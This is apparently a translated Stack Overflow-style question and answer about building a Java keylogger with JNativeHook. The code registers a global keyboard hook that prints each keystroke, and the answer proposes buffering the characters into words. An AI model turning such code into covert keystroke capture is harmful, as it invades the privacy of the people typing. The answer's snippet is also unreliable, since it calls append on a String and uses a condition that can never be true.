在Java中使用KeyLoggers

时间:2015-07-08 20:31:10

标签: java keyboard keyboard-hook keylogger

我正在尝试使用Jnative hook在java中实现键记录器。我能够记录每个键移动。这是我能够获得的输出

当我试图输入" facebook"这就是它的录制方式

 f
 a
 c
 e
 b
 o
 o
 k

但是我希望它像其他键盘记录器一样打印出来。 这意味着当我输入像facebook这样的东西时,它应该记录为" facebook"但不喜欢录制每个键盘字符。

发布的是我的代码:

public class key_logger implements NativeKeyListener {

@Override
public void nativeKeyPressed(NativeKeyEvent nativeKeyEvent) {
     System.out.print(nativeKeyEvent.getKeyChar());

if(nativeKeyEvent.getKeyCode()== NativeKeyEvent.VK_ESCAPE)
{
    //System.out.println("Ter");
    GlobalScreen.unregisterNativeHook();
}
}

@Override
public void nativeKeyReleased(NativeKeyEvent nativeKeyEvent) {


}

@Override
public void nativeKeyTyped(NativeKeyEvent nativeKeyEvent) {

    System.out.println(nativeKeyEvent.getKeyChar());

}

public static void main(String[] args)
{
    try
    {
      GlobalScreen.registerNativeHook();
    } catch (NativeHookException e) {
        System.out.println("There is a problem registering with the hook");
        e.printStackTrace();
        System.exit(1);
    }

    GlobalScreen.getInstance().addNativeKeyListener(new key_logger());

}
}

1 个答案:

答案 0 :(得分:0)

将字符存储在String中,每当您遇到enterspacebar时,只需打印String,请务必重新初始化String < / p>

   String string ="";
    @Override
public void nativeKeyTyped(NativeKeyEvent nativeKeyEvent) {
    string.append(nativeKeyEvent.getKeyChar());
    if(nativeKeyEvent.getKeyCode()=='key code for enter' && nativeKeyEvent.getKeyCode()== 'key code for space'){
        System.out.println(string);
        string="";
   }
}